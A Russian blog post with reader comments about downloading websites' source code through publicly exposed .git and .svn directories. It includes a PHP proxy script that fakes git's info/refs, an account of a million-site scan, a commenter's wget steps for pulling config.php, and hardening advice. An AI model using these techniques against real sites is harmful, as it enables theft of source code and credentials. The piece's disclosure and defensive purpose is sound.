Понятно, что каждый школьник уже попробовал скачать %sitename% через .svn, потому от этой идеи я отказался сразу, зато попробовать git clone %sitename%/.git/ руки чесались.
Для начала, я на собственном сайте отключил 404 на .git* и создал git репозиторий в публичной директории…
$ git init && git add . && git commit -m 'Test'
Initialized empty Git repository in /home/ilyaplot/data/www/web/.git/
[master (root-commit) d3dcdf3] Test
15 files changed, 713 insertions(+)
.....................
Теперь можно попробовать получить только что созданный репозиторий
$ git clone http://******.com/.git/
Cloning into '******.com'...
fatal: http://'******..com/.git/info/refs not found: did you run git update-server-info on the server?
Как оказалось, не все так просто. Для того, что бы репозиторий можно было склонировать таким способом, необходимо выполнить git update-server-info в папке с проектом, что по понятным причинам я сделать не могу.
Оказывается, для осуществления задуманного нужен всего лишь один файл .git/info/refs, содержащий хэш коммита для HEAD.
Т.к. хэш коммита можно получить из .git/refs/heads/master, то можно просто сделать проксирующий скрипт, который будет отдавать то, что git ожидает получить. У меня получился очень простой PHP — скрипт. Я просто создал контроллер в своем Yii2 проекте следующего содержания:
header("Content-Type: application/octet-stream");
if (preg_match("/^(?P<host>[\w\-\.]+)\/(?P<url>.+)/isu", $host, $matches)) {
if ($matches['url'] == 'info/refs') {
$ref = file_get_contents('http://' . $matches['host'] . '/.git/refs/heads/master');
$ref = trim($ref);
echo "{$ref}\trefs/heads/master
{$ref}\trefs/remotes/origin/HEAD
{$ref}\trefs/remotes/origin/master
";
} else {
echo file_get_contents('http://' . $matches['host'] . '/.git/' . $matches['url']);
}
exit();
}
И добавил rule в urlManager
[
'pattern' => 'git/<host[\w\-\.\/]+>',
'route' => 'git/index',
'suffix' => '',
],
Теперь я могу попробовать склонировать собственный сайт, используя собственный сайт.
Пробуем
$ git clone http://******.com/git/******.com
Cloning into '******.com'...
$ ls ******.com/
assets css favicon.ico images js robots.txt sitemaps
Получилось! После этого, я проверил этот метод на сайтах — гигантах, получил то, что и ожидалось. Ничего. Потом я взял список из миллиона самых посещаемых сайтов интернета и прошел его весь. Я ожидал получить много исходников, но из 1 милииона сайтов получилось скачать лишь 4. На 126 сайтов из исследованных я получил .git/refs/heads/master с хэшем коммита, но склонировать репозиторий не удалось из-за того, что система роутинга этих сайтов выдавала 404.
Ожидал я, конечно большего, потому решил проверить, а насколько больше или меньше сайтов удастся скачать через .svn. Нашел граббер на питоне, настроил на тот же самый список из миллиона сайтов и запустил. Скачалось несколько сотен сайтов.
И в заключение дам несколько советов.
- Сейчас же проверьте доступность /.git/index на вашем сайте через обычный браузер.
Если вы не получили 403 или 404, то следующие пункты для вас. - Настройте ваш сервер так, что бы на .svn и .git он возвращал 404.
- Выносите исходный код сайта, который не должен быть получен клиентом за пределы публичной директории.
- Возможно, стоит поменять пароли, которые используются в конфигах, url доступа в админ панель, удалить служебные скрипты из публичной директории.
По понятным причинам я не могу сказать, какие именно сайты удалось склонировать, но могу сказать точно, что владельцы этих сайтов уже получили письмо, в котором я указал на недостаток.
UPD:
kaimi_ru поделился ссылкой на скрипты для 5 систем контроля версий github.com/kost/dvcs-ripper
Комментарии (10)
modulator
04.08.2017 12:33+4Полезной информации статья не несет.
Я сканил alexa top 1m. ~10% сайтов не закрыли .git/
Что бы выкачать исходники (хотя бы частично) не обязательно делать git clone.
Выкачиваем /.git/index, делаем git ls-files. Выбираем нужный файл (например config.php), git checkout config.php.
В результате получаем хэш вида 06fe09951d8b859538bd4a5c4b3d207a99dc254c, где 06 — то каталог.
wget site.com/.git/objects/06/fe09951d8b859538bd4a5c4b3d207a99dc254c
Повторяем git checkout config.php и получаем исходники файла config.phpilyaplot Автор
04.08.2017 12:38-3Мне было интересно сделать именно git clone, потому что это казалось очень просто. Понятно, что можно получить исходники или их часть без применения git, но это уже другая история.
Fedcomp
04.08.2017 14:03Году в 2010 на хабре была волна скачки /.git /.svn папок, даже у яндекса что то скачали. С тех пор, видимо, за этим следят.
Ernillgeek
04.08.2017 16:19+3location ~ /\. { return 444; }
Очень полезно иметь в конфиге nginx'а. Махом решает все подобные «уязвимости».
maxru
04.08.2017 18:02+1Как уже писали — достаточно просто нормально выкладывать код на боевой.
Для этого svn export и git archive есть, если уж деплоер совсем лень настраивать.
BekoBou
А может просто не выносить исходники и директорию
.git
на боевые сервера? Средства для деплоя сейчас достаточно развиты, чтобы не было такого.ilyaplot Автор
Лично встречал проекты, в которых деплой происходит с помощью git. В одном из них корень репозитория = корнень сайта. Теперь там используется deployer
modulator
Я видел svn репозиторий в котором был закоммичен git и пару фильмов.